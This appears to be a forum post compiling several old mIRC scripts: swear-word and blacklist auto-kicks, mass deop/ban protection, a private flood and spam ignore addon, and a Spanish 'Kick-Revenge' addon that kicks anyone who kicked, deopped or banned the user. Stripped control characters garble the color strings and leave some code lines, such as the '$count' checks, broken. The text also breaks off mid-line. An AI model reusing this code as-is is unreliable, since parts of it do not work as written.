1:dialog:Badword:sclick:*:{ if ($did == 3) { /set %badword.detect on | echo -a 14»»» 2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 14Sw2ea14r kick 2now On } if ($did == 4) { /unset %badword.detect | echo -a 14»»» 2P5r14o2t10e2c14t1i2o14n 2D14i2G14i2T14a2L 2v1422140021422 14Sw2ea14r kick 2now Off } if ($did == 5) { /badword add $$?="enter word:" } if ($did == 6) { /badword del $$?="enter word:" } if ($did == 7) { /badword delall } if ($did == 8) { /badword list } } Menu Channel { add Swear box:/dialog -m Badword Badword }

صندوق القائمة السوداءdialog

; BlackList Organizer ; Coded by Kintar0 of Team Clan X ; Date: Sept. 25, 2000 ; Description: This scriptlet will autokick any user on your Black List. You can easily manage the list through the dialog included... ; Instructions: ; - Use nicklist popups to add/remove the current selected nickname... ; - User Channel, Status, and Menubar popups to call up the Organizer ; - You may add, remove, and view items from all blacklist entries from the organizer... alias -l _buser { .guser blacklist $1 3 } alias -l _rbuser { .ruser blacklist $1 3 } alias -l _luser { dialog -m _blacklist _blacklist } alias -l _blist { did -r _blacklist 11 var %_btotal = $ulist(*,blacklist,0) , %_b = 0 while (%_b < %_btotal) { inc %_b did -a _blacklist 11 $ulist(*,blacklist,%_b) } } menu nicklist { - Blacklist .Add User { _buser $$1 } .Remove User { _rbuser $$1 } .- .Organize { _luser } } menu channel,status,menubar { - Blacklist { _luser } } dialog _blacklist { title "Blacklist Organizer" size -1 -1 150 110 option dbu text "Enter host to be added/removed:" , 10 , 10 5 95 10 , left combo 11 , 10 15 95 85 , extsel sort autohs autovs edit "" , 12 , 10 95 95 10 , read autohs button "&Add" , 20 , 115 35 30 20 , default button "&Remove" , 30 , 115 60 30 20 , default button "&Ok" , 40 , 115 85 30 20 , ok } on *:dialog:_blacklist:init:*: { _blist } on *:dialog:_blacklist:sclick:*: { if ($did == 20) { if ($did(11).text != $null && $level($did(11).text) != blacklist) { var %_badd = $did(11).text .auser blacklist %_badd _blist did -o $dname 12 1 Added %_badd to blacklist... } elseif ($level($did(11).text) == blacklist) { did -o $dname 12 1 Address already exists... } } if ($did == 30) { if ($did(11).text != $null && $level($did(11).text) == blacklist) { var %_brem = $did(11).text .ruser blacklist %_brem _blist did -o $dname 12 1 Removed %_brem from blacklist... } elseif ($level($did(11).text) != blacklist) { did -o $dname 12 1 Address doesn't exist... } } } on @blacklist:join:#: { ban # $nick 3 kick # $nick Banned: Blacklisted }

Mass ,deop, Ban, Kick, Protection

#deoprotection on on +3:deop:#:/mode $chan +ooo $opnicks | /kick $chan $nick 12Mass Deop Protection )(2D14i2G14i2T14a2L 2v1422140021422 #deoprotection end #oprotection on on +3:op:#:/mode $chan -ooo $opnicks | /kick $chan $nick 12Mass OP Protection )(2D14i2G14i2T14a2L 2v1422140021422 #oprotection end #kickprotection on on +3:kick:#:/kick $chan $nick 12Mass Kick Protection #kickprotection end #massbanprotection on on +3:ban:/ban -u $bnick | /kick $chan $nick 12Mass Ban Protection )(2D14i2G14i2T14a2L 2v1422140021422 #massbanprotection end

للحماية من فلود المسج وجميع انواع الفلودdialog

انصحك فيه كود جيد

الكود هذا اتحطه فى صفحه ابروحه فى الريموت

والكود الى تحته فى صفحه ابروحه تكمله له

dialog

on 1:LOAD: { if ($version < 5.9) { echo -a 5Notice2 This file "WONT" work on any mIRC version below 5.9 . You have version5 $version $+ .2 Please upgrade to at least 5.9 before attempting to load this file again. | unload -rs pfp.mrc | halt } elseif (!$exists($scriptdirpfp2.mrc)) { echo -a 5Notice2 "pfp2.mrc" is missing from the current directory of "pfp.mrc". You cant load pfp.mrc without pfp2.mrc . Both the files should be in same folder (mirc directory) to be loaded successfully. | unload -rs pfp.mrc | halt } elseif (!$exists($scriptdirpfphelp.txt)) { echo -a 5Notice2 "pfphelp.txt" is missing from the current directory of "pfp.mrc". } else { .load -rs $scriptdirpfp2.mrc | echo -a 5Synchronized2 You have successfully loaded Private flood protections (both pfp.mrc & pfp2.mrc) | echo -a 5Synchronized2 Thank you for Loading my addon. It is my first public release of any addon Scripted on the basis of 'General help'. I will be happy if you feed me back on the working, error's or ANYTHING related to this addon or other scripting matters. ENjoy it , bubyez ! | echo -a 5Synchronized2 The usage is either you can type 6/pfp2 or access the addon via commands or even by right clicking in channel window ! } } menu channel,menubar { (-=PFP=-):/pfp } dialog second { title "Private Flood Protections" size -1 -1 0 0 option dbu tab "PF-Prot",1,5 6 210 194 check "Enable Private flood Protections",5, 55 22 100 8, tab 1 box "",9,5 27 63 140,tab 1 box "",74,70 27 100 167,tab 1 text "1) Query Protection ",14, 8 35 80 20 ,tab 1 text "Max",20, 77 35 32 10 ,tab 1 Edit "",21, 90 34 8 10 ,tab 1 text "Time",22, 105 35 32 10 ,tab 1 Edit "",23, 120 34 8 10 ,tab 1 check "Enable",49, 132 34 30 10,left tab 1 text "2) Notice Protection ",15, 8 50 80 20 ,tab 1 text "Max",24, 77 50 35 10 ,tab 1 Edit "",25, 90 49 8 10 ,tab 1 text "Time",26, 105 50 35 10 ,tab 1 Edit "",27, 120 49 8 10 ,tab 1 check "Enable",48, 132 49 30 10,left tab 1 text "3) Ctcp Protection ",16, 8 65 80 20 ,tab 1 text "Max",28, 77 65 38 10 ,tab 1 Edit "",29, 90 64 8 10 ,tab 1 text "Time",30, 105 65 38 10 ,tab 1 Edit "",31, 120 64 8 10 ,tab 1 check "Enable",47, 132 64 30 10,left tab 1 text "4) CtcpReply Protection ",17, 8 80 80 20 ,tab 1 text "Max",32, 77 80 41 10 ,tab 1 Edit "",33, 90 79 8 10 ,tab 1 text "Time",34, 105 80 41 10 ,tab 1 Edit "",35, 120 79 8 10 ,tab 1 check "Enable",46, 132 79 30 10,left tab 1 text "5) Dcc Protection ",18, 8 95 80 20 ,tab 1 text "Max",36, 77 95 44 10 ,tab 1 Edit "",37, 90 94 8 10 ,tab 1 text "Time",38, 105 95 44 10 ,tab 1 Edit "",39, 120 94 8 10 ,tab 1 check "Enable",45, 132 94 30 10,left tab 1 text "6) Invite Protection ",19, 8 110 80 20 ,tab 1 text "Max",40, 77 110 47 10 ,tab 1 Edit "",41, 90 109 8 10 ,tab 1 text "Time",42, 105 110 47 10 ,tab 1 Edit "",43, 120 109 8 10 ,tab 1 check "Enable",44, 132 109 30 10,left tab 1 text "7) Text Protection ",50, 8 125 80 20 ,tab 1 text "Max",51, 77 125 50 10 ,tab 1 Edit "",52, 90 124 8 10 ,tab 1 text "Time",53, 105 125 50 10 ,tab 1 Edit "",54, 120 124 8 10 ,tab 1 check "Enable",55, 132 124 30 10,left tab 1 text "8) Action Protection ",56, 8 140 80 20 ,tab 1 text "Max",57, 77 140 50 10 ,tab 1 Edit "",58, 90 139 8 10 ,tab 1 text "Time",59, 105 140 50 10 ,tab 1 Edit "",60, 120 139 8 10 ,tab 1 check "Enable",61, 132 139 30 10,left tab 1 text "9) Code Protection ",62, 8 155 80 20 ,tab 1 text "Bold",63, 77 155 50 10 ,tab 1 Edit "",64, 90 154 10 10 ,tab 1 text "Color",65, 105 155 50 10 ,tab 1 Edit "",66, 120 154 10 10 ,tab 1 text "Reverse",67, 132 155 20 10 ,tab 1 Edit "",68, 154 154 10 10 ,tab 1 text "underline",69, 84 168 50 10 ,tab 1 Edit "",70, 108 167 10 10 ,tab 1 check "Enable",71, 121 167 30 10,left tab 1 button "DONE",2,175 82 30 10,ok button "DEFAULT",3,175 93 30 10 button "HELP",100,175 104 30 10 box "",77, 6 167 55 30,tab 1 text "Additional Feature",76, 10 172 50 20,left tab 1 check "Spam Protection",75, 8 178 50 20,left tab 1 text "IGNORE-TIME",72, 87 182 40 15,left tab 1 Edit "",73, 124 180 10 10,left tab 1 } on *:DIALOG:second:init:0:{ if (%pvt.fld.prt == on) { did -c second 5 } if (%pvt.q.fld.prt == on) { did -c second 49 } if (%pvt.n.fld.prt == on) { did -c second 48 } if (%pvt.c.fld.prt == on) { did -c second 47 } if (%pvt.cr.fld.prt == on) { did -c second 46 } if (%pvt.d.fld.prt == on) { did -c second 45 } if (%pvt.i.fld.prt == on) { did -c second 44 } if (%pvt.t.fld.prt == on) { did -c second 55 } if (%pvt.a.fld.prt == on) { did -c second 61 } if (%pvt.spam.prt == on) { did -c second 75 } if (%pvt.code.fld.prt == on) { did -c second 71 } if (%max.q != $Null) { did -a second 21 %max.q } if (%max.qt != $Null) { did -a second 23 %max.qt } if (%max.n != $Null) { did -a second 25 %max.n } if (%max.nt != $Null) { did -a second 27 %max.nt } if (%max.c != $Null) { did -a second 29 %max.c } if (%max.ct != $Null) { did -a second 31 %max.ct } if (%max.cr != $Null) { did -a second 33 %max.cr } if (%max.crt != $Null) { did -a second 35 %max.crt } if (%max.d != $Null) { did -a second 37 %max.d } if (%max.dt != $Null) { did -a second 39 %max.dt } if (%max.i != $Null) { did -a second 41 %max.i } if (%max.it != $Null) { did -a second 43 %max.it } if (%max.t != $Null) { did -a second 52 %max.t } if (%max.tt != $Null) { did -a second 54 %max.tt } if (%max.a != $Null) { did -a second 58 %max.a } if (%max.at != $Null) { did -a second 60 %max.at } if (%max.bold != $Null) { did -a second 64 %max.bold } if (%max.color != $Null) { did -a second 66 %max.color } if (%max.reverse != $Null) { did -a second 68 %max.reverse } if (%max.underline != $Null) { did -a second 70 %max.underline } if (%max.igt != $Null) { did -a second 73 %max.igt } } on *:DIALOG:second:edit:*:{ if ($did == 21) { set %max.q $did(21).text } ; This triggers if some one type something in max queries if ($did == 23) { set %max.qt $did(23).text } ; This triggers if some one type something in max query time if ($did == 25) { set %max.n $did(25).text } ; This triggers if some one type something in max notices if ($did == 27) { set %max.nt $did(27).text } ; This triggers if some one type something in max notices time if ($did == 29) { set %max.c $did(29).text } ; This triggers if some one type something in max ctcps if ($did == 31) { set %max.ct $did(31).text } ; This triggers if some one type something in max ctcps time if ($did == 33) { set %max.cr $did(33).text } ; This triggers if some one type something in max ctcp replies if ($did == 35) { set %max.crt $did(35).text } ; This triggers if some one type something in max ctcp replies time if ($did == 37) { set %max.d $did(37).text } ; This triggers if some one type something in max dccs if ($did == 39) { set %max.dt $did(39).text } ; This triggers if some one type something in max dccs time if ($did == 41) { set %max.i $did(41).text } ; This triggers if some one type something in max invites if ($did == 43) { set %max.it $did(43).text } ; This triggers if some one type something in max invites time if ($did == 52) { set %max.t $did(52).text } ; This triggers if some one type something in max text if ($did == 54) { set %max.tt $did(54).text } ; This triggers if some one type something in max text time if ($did == 58) { set %max.a $did(58).text } ; This triggers if some one type something in max Action if ($did == 60) { set %max.at $did(60).text } ; This triggers if some one type something in max Action time if ($did == 64) { set %max.bold $did(64).text } ; This triggers if some one type something in Bold code if ($did == 66) { set %max.color $did(66).text } ; This triggers if some one type something in color code if ($did == 68) { set %max.reverse $did(68).text } ; This triggers if some one type something in reverse code if ($did == 70) { set %max.underline $did(70).text } ; This triggers if some one type something in underline code if ($did == 73) { set %max.igt $did(70).text } ; This triggers if some one type something in ignore time } on *:DIALOG:second:sclick:*:{ if ($did == 5) { if ($did(5).state == 1) { set %pvt.fld.prt on } elseif ($did(5).state == 0) { set %pvt.fld.prt off } } if ($did == 49) { if ($did(49).state == 1) { set %pvt.q.fld.prt on } elseif ($did(49).state == 0) { set %pvt.q.fld.prt off } } if ($did == 48) { if ($did(48).state == 1) { set %pvt.n.fld.prt on } elseif ($did(48).state == 0) { set %pvt.n.fld.prt off } } if ($did == 47) { if ($did(47).state == 1) { set %pvt.c.fld.prt on } elseif ($did(47).state == 0) { set %pvt.c.fld.prt off } } if ($did == 46) { if ($did(46).state == 1) { set %pvt.cr.fld.prt on } elseif ($did(46).state == 0) { set %pvt.cr.fld.prt off } } if ($did == 45) { if ($did(45).state == 1) { set %pvt.d.fld.prt on } elseif ($did(45).state == 0) { set %pvt.d.fld.prt off } } if ($did == 44) { if ($did(44).state == 1) { set %pvt.i.fld.prt on } elseif ($did(44).state == 0) { set %pvt.i.fld.prt off } } if ($did == 55) { if ($did(55).state == 1) { set %pvt.t.fld.prt on } elseif ($did(55).state == 0) { set %pvt.t.fld.prt off } } if ($did == 61) { if ($did(61).state == 1) { set %pvt.a.fld.prt on } elseif ($did(61).state == 0) { set %pvt.a.fld.prt off } } if ($did == 71) { if ($did(71).state == 1) { set %pvt.code.fld.prt on } elseif ($did(71).state == 0) { set %pvt.code.fld.prt off } } if ($did == 75) { if ($did(75).state == 1) { set %pvt.spam.prt on } elseif ($did(75).state == 0) { set %pvt.spam.prt off } } if ($did == 100) pfphelps if ($did == 3) { set %pvt.fld.prt on | did -c second 5 set %pvt.q.fld.prt on | did -c second 49 set %pvt.n.fld.prt on | did -c second 48 set %pvt.c.fld.prt on | did -c second 47 set %pvt.cr.fld.prt on | did -c second 46 set %pvt.d.fld.prt on | did -c second 45 set %pvt.i.fld.prt on | did -c second 44 set %pvt.t.fld.prt on | did -c second 55 set %pvt.a.fld.prt on | did -c second 61 set %pvt.code.fld.prt on | did -c second 71 set %pvt.spam.prt on | did -c second 75 set %max.q 5 | set %max.qt 3 | set %max.n 5 | set %max.nt 5 | set %max.c 5 | set %max.ct 5 | set %max.cr 3 | set %max.crt 3 | set %max.d 3 | set %max.dt 3 | set %max.i 2 | set %max.it 3 | set %max.t 5 | set %max.tt 1 | set %max.a 4 | set %max.at 1 | set %max.bold 25 | set %max.color 25 | set %max.reverse 10 | set %max.underline 10 | set %max.igt 90 did -a second 21 %max.q | did -a second 23 %max.qt | did -a second 25 %max.n | did -a second 27 %max.nt | did -a second 29 %max.c | did -a second 31 %max.ct | did -a second 33 %max.cr | did -a second 35 %max.crt | did -a second 37 %max.d | did -a second 39 %max.dt | did -a second 41 %max.i | did -a second 43 %max.it | did -a second 52 %max.t | did -a second 54 %max.tt | did -a second 58 %max.a | did -a second 60 %max.at | did -a second 64 %max.bold | did -a second 66 %max.color | did -a second 68 %max.reverse | did -a second 70 %max.underline | did -a second 73 %max.igt } } alias pfphelps { dialog -mdo helppfp helppfp } dialog helppfp { title "PFP HELP SECTION" size -1 -1 200 100 option dbu button "ok",1,200 200 200 200,ok edit "",2,5 5 190 80,read return multi vsbar } on 1:DIALOG:helppfp:init:0: { if ($exists($scriptdirpfphelp.txt)) loadbuf -o helppfp 2 $scriptdirpfphelp.txt else did -a $dname 2 The official help file pfp.txt is seem kinda missing ;) . } ctcp *:DCC:*: { if ( friend isin $level($maddress($address($nick,3))) ) { goto dccfinish } if (%pvt.fld.prt == on) && (%pvt.d.fld.prt == on) { if ( %dccsend == $Null ) { set -u $+ [ %max.dt ] %dccsend 1 } else { inc %dccsend } if (%dccsend == %max.d) { if (~ isin $fulladdress) { ,ignore -du $+ [ %max.igt ] *!~*@* } else { .ignore -du $+ [ %max.igt ] * } echo -s 0,1Notification:8 All The Dcc's Have Been ignored For0 %max.igt 8seconds Due to Excess Dcc Flood } } :dccfinish } alias pfp { dialog -dmo second second | `MyThMagic } alias `MyThMagic { var %w = 1 , %h = 1 :loop dialog -s second -1 -1 %w %h if (%w <= 430) var %w = $calc(%w + 1) if (%h <= 400) var %h = $calc(%h + 1) dialog -r second if (%w < 430 || %h < 400) { goto loop } }

تكملة ما اعلاه

on 1:Open:?:{ if ( friend isin $level($maddress($address($nick,3))) ) goto queryend if ( spambot isin $level($maddress($address($nick,3))) ) goto queryend if (%pvt.fld.prt == on && %pvt.q.fld.prt == on && %max.q != $Null && %max.qt != $Null) { if (%fldqry == $Null) { set -u $+ [ %max.qt ] %fldqry 1 } else { inc %fldqry } if (%fldqry == %max.q) { if (~ isin $fulladdress) { .ignore -pu $+ [ %max.igt ] *!~*@* } else { .ignore -pu $+ [ %max.igt ] * } close -m echo -s 0,1Notification:8 Pvt Query Flood Was detected . Therefore all private messages have been ignore for0 %max.igt 8seconds. } } if (%pvt.spam.prt == on) { if (join isin $1-) || (/j isin $1-) || (/join isin $1-) || ($chr(35) isin $1-) { .ignore -pu $+ [ %max.igt ] $wildsite | close -m $nick | echo -s 0,1Notification:8 Channel Advertisement detected from ip :0 $mid($wildsite,5,$len($wildsite)) $+ 0.8Thus, put on ignore for0 %max.igt 8secs } elseif (www isin $1-) || (.com isin $1-) || (.net isin $1-) || (http isin $1-) { .ignore -pu $+ [ %max.igt ] $wildsite | close -m $nick | echo -s 0,1Notification:8 Web Advertisement detected from ip :0 $mid($wildsite,5,$len($wildsite)) $+ 0.8Thus, put on ignore for0 %max.igt 8secs } elseif (server isin $1-) || (/server isin $1-) { .ignore -pu $+ [ %max.igt ] $wildsite | close -m $nick | echo -s 0,1Notification:8 Server Advertisement detected from ip :0 $mid($wildsite,5,$len($wildsite)) $+ 0.8Thus, put on ignore for0 %max.igt 8secs } elseif (inViTeR isin $1-) || (invite isin $1-) || (invites isin $1-) { .ignore -pu $+ [ %max.igt ] $wildsite | close -m $nick | echo -s 0,1Notification:8 Mass inviting detected from ip :0 $mid($wildsite,5,$len($wildsite)) $+ 0.8Thus, put on ignore for0 %max.igt 8secs } elseif (wanna isin $1-) || (chat isin $1-) || (/m/ isin $1-) || (auto isin $1-) || (/male/ isin $1-) || (male isin $1-) { .ignore -pu $+ [ %max.igt ] $wildsite | close -m $nick | echo -s 0,1Notification:8 Spamming detected from ip :0 $mid($wildsite,5,$len($wildsite)) $+ 0.8Thus, put on ignore for0 %max.igt 8secs } } :queryend } on *:Text:*:?: { if ( friend isin $level($maddress($address($nick,3))) ) goto textend if (%pvt.fld.prt == on && %pvt.t.fld.prt == on && %max.t != $Null && %max.tt != $Null) { if (%pvtxtfld == $Null) { set -u $+ [ %max.tt ] %pvtxtfld 1 | set %pvttxtmsg $wildsite } elseif (%pvttxtmsg == $wildsite) { inc %pvtxtfld } elseif (%pvttxtmsg != $wildsite) { set -u $+ [ %max.tt ] %pvtxtfld 1 | set %pvttxtmsg $wildsite } if (%pvtxtfld == %max.t) { close -m $nick | .ignore -pu $+ [ %max.igt ] $wildsite | echo -s 0,1Notification:8 Private Text Flood detected from ip :0 $mid($wildsite,5,$len($wildsite)) .8Thus, put on ignore for0 %max.igt 8secs ! } } if (%pvt.fld.prt == on && %pvt.code.fld.prt == on) { set %boldc $count($1-,) | set %colorc $count($1-,) | set %reversec $count($1-,) | set %underlinec $count($1-,) if (%boldc >= %max.bold || %colorc >= %max.color || %reversec >= %max.reverse || %underlinec >= %max.underline) { .ignore -kpu $+ [ %max.igt ] $wildsite | close -m $nick if (~ isin $mask($fulladdress,0)) { .ignore -ku $+ [ %max.igt ] *!~*@* } else { .ignore -ku $+ [ %max.igt ] * } } } :textend } on *:ACTION:*:?: { if ( friend isin $level($maddress($address($nick,3))) ) goto actionend if (%pvt.fld.prt == on && %pvt.fld.prt == on && %pvt.a.fld.prt == on && %max.a != $Null && %max.at != $Null) { if (%pvtafld == $Null) { set -u $+ [ %max.at ] %pvtafld 1 | set %pvtamsg $wildsite } elseif (%pvtamsg == $wildsite) { inc %pvtafld } elseif (%pvtamsg != $wildsite) { set -u $+ [ %max.at ] %pvtafld 1 | set %pvtamsg $wildsite } if (%pvtafld == %max.a) { close -m $nick | .ignore -pu $+ [ %max.igt ] $wildsite | echo -s 0,1Notification:8 Private Action Flood detected from ip :0 $mid($wildsite,5,$len($wildsite)) .8Thus, put on ignore for0 %max.igt 8secs ! } } if (%pvt.fld.prt == on && %pvt.code.fld.prt == on) { set %boldc $count($1-,) | set %colorc $count($1-,) | set %reversec $count($1-,) | set %underlinec $count($1-,) if (%boldc >= %max.bold || %colorc >= %max.color || %reversec >= %max.reverse || %underlinec >= %max.underline) { .ignore -kpu $+ [ %max.igt ] $wildsite | close -m $nick if ( ~ isin $mask($fulladdress,0) ) { .ignore -ku $+ [ %max.igt ] *!~*@* } else { .ignore -ku $+ [ %max.igt ] * } } } :actionend } on 1:Notice:*:*: { if ((*dal.net* iswm $mask($fulladdress,5)) || ( friend isin $level($maddress($address($nick,3))) )) { goto noticefinish } if (%pvt.fld.prt == on && %pvt.n.fld.prt == on && %max.n != $Null && %max.nt != $Null) { if (%pvtnfld == $Null) { set -u $+ [ %max.nt ] %pvtnfld 1 } else { inc %pvtnfld } if (%pvtnfld == %max.n) { if ( ~ isin $mask($fulladdress,0) ) { .ignore -nu $+ [ %max.igt ] *!~*@* } else { .ignore -nu $+ [ %max.igt ] * } echo -s 0,1Notification:8 Notice Flood Was detected . Therefore all the notices have been put on ignore for0 %max.igt 8seconds. } } if (%pvt.fld.prt == on) && (%pvt.code.fld.prt == on) { set %boldc $count($1-,) | set %colorc $count($1-,) | set %reversec $count($1-,) | set %underlinec $count($1-,) if (%boldc >= %max.bold || %colorc >= %max.color || %reversec >= %max.reverse || %underlinec >= %max.underline) { .ignore -knu $+ [ %max.igt ] $wildsite | clearall if ( ~ isin $mask($fulladdress,0) ) { .ignore -knu $+ [ %max.igt ] *!~*@* } else { .ignore -knu $+ [ %max.igt ] * } clearall } } :noticefinish } ctcp 1:*:*: { if ( friend isin $level($maddress($address($nick,3))) ) { goto ctcpend } if (%pvt.fld.prt == on) && (%pvt.c.fld.prt == on) { if (%ctcps == $Null) { set -u $+ [ %max.ct ] %ctcps 1 } else { inc %ctcps } if (%ctcps == %max.c) { if (~ isin $fulladdress) { .ignore -tu $+ [ %max.igt ] *!~*@* } else { .ignore -tu $+ [ %max.igt ] *!*@* } echo -a 8,1ALL Ctcp(s)have been blocked for0 %max.igt 8seconds due to Excess ctcp flood ! } } if (%pvt.fld.prt == on && %pvt.code.fld.prt == on) { set %boldc $count($1-,) | set %colorc $count($1-,) | set %reversec $count($1-,) | set %underlinec $count($1-,) if (%boldc >= %max.bold || %colorc >= %max.color || %reversec >= %max.reverse || %underlinec >= %max.underline) { .timer 1 1 clear -s if ( ~ isin $mask($fulladdress,0) ) { .ignore -ktu $+ [ %max.igt ] *!~*@* } else { .ignore -ktu $+ [ %max.igt ] * } } } :ctcpend } on *:CTCPREPLY:*: { if ( friend isin $level($maddress($address($nick,3))) ) { goto ctcpreplyend } if (%pvt.fld.prt == on) && (%pvt.cr.fld.prt == on) { if (%ctcprs == $Null) { set -u $+ [ %max.crt ] %ctcprs 1 } else { inc %ctcprs } if (%ctcprs == %max.cr) { .ignore -u $+ [ %max.igt ] $wildsite if ( ~ isin $mask( $fulladdress , 0 ) ) { .ignore -u30 *!~*@* } else { .ignore -u30 *!*@* } echo -a 8,1Every thing is ignored for 30 seconds due to excess CtcpReply flood ! } } if (%pvt.fld.prt == on) && (%pvt.code.fld.prt == on) { set %boldc $count($1-,) | set %colorc $count($1-,) | set %reversec $count($1-,) | set %underlinec $count($1-,) if (%boldc >= %max.bold) || (%colorc >= %max.color) || (%reversec >= %max.reverse) || (%underlinec >= %max.underline) { .ignore -u $+ [ %max.igt ] $wildsite | .timer 1 1 clear -s if ( ~ isin $mask($fulladdress,0) ) { .ignore -u30 *!~*@* } else { .ignore -u30 * } } } :ctcpreplyend } on 1:INVITE:#:{ if ( friend isin $level($maddress($address($nick,3))) ) { goto invitefinish } if (%pvt.fld.prt == on) && (%pvt.i.fld.prt == on) { if ( %invitesend == $Null ) { set -u $+ [ %max.it ] %invitesend 1 } else { inc %invitesend } if (%invitesend == %max.i) { .ignore -iu $+ [ %max.igt ] $wildsite if ( ~ isin $mask($fulladdress,0) ) { ignore -iu30 *!~*@* } else { ignore -iu30 * } echo -s 0,1Notification:8 Invite Flood detected from ip :0 $mid($wildsite,5,$len($wildsite)) $+ 0.8Thus, put on ignore for0 %max.igt 8secs } } :invitefinish } on 1:QUIT:{ if ( friend isin $level($maddress($address($nick,3))) ) { goto quitfinish } if (%pvt.fld.prt == on) && (%pvt.code.fld.prt == on) && (Quit: == $1) { set %boldc $count($1-,) | set %colorc $count($1-,) | set %reversec $count($1-,) | set %underlinec $count($1-,) if (%boldc >= %max.bold) || (%colorc >= %max.color) || (%reversec >= %max.reverse) || (%underlinec >= %max.underline) { .ignore -kcu $+ [ %max.igt ] $wildsite | clear $comchan($nick,1) if ( ~ isin $mask($fulladdress,0) ) { .ignore -ku30 *!~*@* } else { .ignore -ku30 * } } } :quitfinish }

dialog Revenge

Deop, ban ,kick

************************************************ ************k-revenge by hackz************ ************************************************ ************************************************ dialog k-revenge { title "Kick-Revenge by ^Hackz^ www.ayuda-hoy.cc" size -1 -1 210 115 option dbu tab "Revenge on Kick",1, 5 5 200 90 tab "Revenge on Deop",2 tab "Revenge on Ban",3 tab "About",4 button "&Aceptar",5, 40 100 35 10,ok button "&Cancelar",6, 130 100 35 10,cancel ;-------------------------------------------------------K-REVENGE ON KICK------------------------------------------------------ box "Configuracion Kick-Revenge on Kick",7, 10 25 100 65, tab 1 check "Kick-Revenge on Kick.",8, 15 35 80 10, tab 1 button "&Olvidar",9, 35 52 40 10, tab 1 text "Mensaje del kick:",10, 15 67 50 10, tab 1 edit "",11, 15 75 65 10, tab 1 edit "Esta opcion es activada cuando te patean, guarda el nick que te pateo y luego lo patea cuando obtengas op. Puedes poner un mensaje para el kick, que no sea el que trae el addon, y tambien puedes perdonar las victimas del kick-revenge.", 22, 120 30 80 60, multi, vsbar, read, tab 1 ;-----------------------------------------------------K-REVENGE ON DEOP------------------------------------------------------- box "Configuracion Kick-Revenge on Deop",12, 10 25 100 65, tab 2 check "Kick-Revenge on Deop.",13, 15 35 80 10, tab 2 button "&Olvidar",14, 35 52 40 10, tab 2 text "Mensaje del kick:",15, 15 67 50 10, tab 2 edit "",16, 15 75 65 10, tab 2 edit "Esta opcion se activa cuando te quitan op, como en la anterior guarda el nick, y cuando obtengas op lo patea. Tambien puedes seleccionar un mensaje del kick que no sea el que trae el addon. Y puedes perdonar las victimas.", 23, 120 30 80 60, multi, vsbar, read, tab 2 ;------------------------------------------------------K-REVENGE ON BAN------------------------------------------------------ box "Configuracion K-Revenge on Ban and deop",17, 10 25 100 65, tab 3 check "Kick-Revenge on Ban and deop.",18, 15 35 88 10, tab 3 button "&Olvidar",19, 35 52 40 10, tab 3 text "Mensaje del kick:",20, 15 67 50 10, tab 3 edit "",21, 15 75 65 10, tab 3 edit "Esta es una opcion parecida a las demas, que guarda el nick de quien te baneo y te quito op y cuando obtengas op lo patea. Como en los demas, puedes poner un mensaje para el kick que no es el que trae el addon. Y tambien puedes perdonar las victimas. Este solo funciona si el banmask contiene tu nick.", 24, 120 30 80 60, multi, vsbar, read, tab 3 ;---------------------------------------------------------------------------------------------------------------------------------------------- box "About Kick-Revenge",25, 10 25 70 65, tab 4 text "Version: 1.0",26, 15 35 30 10, tab 4 text "Autor: ^Hackz^",27, 15 45 40 10, tab 4 text "Fecha: 27-5-2000",28, 15 55 45 10, tab 4 text "URL: http:\\Ayuda-hoy.cc",29, 15 65 70 10, tab 4 text "Derechos Reservados.",30, 15 75 70 10, tab 4 box "Creditos del Addon",31, 95 25 105 65, tab 4 text "^Infierno: Un pana full long time.",32, 100 35 100 10, tab 4 text "HuGo_SoFt: Un pana full (mi hermano).",33, 100 45 100 10, tab 4 text "maestro38: Un buen amigo de #ayuda.",34, 100 55 100 10, tab 4 text "wU-MaSteR: Otro buen Amigo.",35, 100 65 100 10, tab 4 text "No dejen de visitar #ayuda.",36, 100 75 100 10, tab 4 } ;--------------------------------------------------------------------------------------------------------------------------------------------- on 1:dialog:k-revenge:init:0:{ if (%k-revenge == on) { did -c k-revenge 8 } if (%k-revenge == off) { did -u k-revenge 8 } if (%d-revenge == on) { did -c k-revenge 13 } if (%d-revenge == off) { did -u k-revenge 13 } if (%b-revenge == on) { did -c k-revenge 18 } if (%b-revenge == off) { did -u k-revenge 18 } } on 1:dialog:k-revenge:edit:11:{ %kreason = $did(11).text } on 1:dialog:k-revenge:edit:16:{ %dreason = $did(16).text } on 1:dialog:k-revenge:edit:21:{ %breason = $did(21).text } on 1:dialog:k-revenge:Sclick:9:{ unset %kvictima | echo -a 4,1WARNING: 15Has olvidado el Kick-Revenge %re } on 1:dialog:k-revenge:Sclick:14:{ unset %dvictima | echo -a 4,1WARNING: 15Has olvidado el Deop-Revenge %re } on 1:dialog:k-revenge:Sclick:19:{ unset %bvictima | echo -a 4,1WARNING: 15Has olvidado el Ban-Revenge %re } on 1:dialog:k-revenge:sclick:8:{ if (%k-revenge == on) { .set %k-revenge off } else { .set %k-revenge on } } on 1:dialog:k-revenge:sclick:13:{ if (%d-revenge == on) { .set %d-revenge off } else { .set %d-revenge on } } on 1:dialog:k-revenge:sclick:18:{ if (%b-revenge == on) { .set %b-revenge off } else { .set %b-revenge on } } ;---------------------------------------------------------------------------------------------------------------------------------------------- On 1:kick:#:{ if ($knick == $me) && (%K-revenge == on) { set %kvictima $nick | notice %kvictima 15,1Estas en mi lista de Kick-Revenge %re } } ;------------------------------------------------------------------------------------------------------------------------------------------ On 1:Deop:#:{ if ($opnick == $me) && (%d-revenge == on) { set %dvictima $nick | notice %dvictima 15,1Estas en mi lista de Kick-Revenge %re } } ;------------------------------------------------------------------------------------------------------------------------------------------ on 1:BAN:#:{ if ($bnick == $me) && (%b-revenge == on) { set %bvictima $nick | notice %bvictima 15,1Estas en mi lista de Kick-Revenge %re } } On 1:OP:#:{ if ($opnick == $me) && (%k-revenge == on) { .kick # %kvictima %kreason | unset %kvictima } if ($opnick == $me) && (%d-revenge == on) { .kick # %dvictima %dreason | unset %dvictima } if ($opnick == $me) && (%b-revenge == on) { .kick # %bvictima %breason | unset %bvictima } } ;-------------------------------------------------------------------------------------------------------------------------------------------- On 1:LOAD: { echo -a 14,1Addon Completamente instalado 0,115[0Kick-Revenge by Hackz15] set %re 0,115[0Kick-Revenge by Hackz15] set %breason Revenge proteccion set %dreason Revenge proteccion set %kreason Revenge proteccion } menu channel,menubar { Kick-Revenge .Configurar:dialog -md k-revenge k-revenge .- .Desinstalar:unload -rs k-revenge\k-revenge.mrc .- .Publicidad:/amsg 15,1Hey!!! Estoy usando el 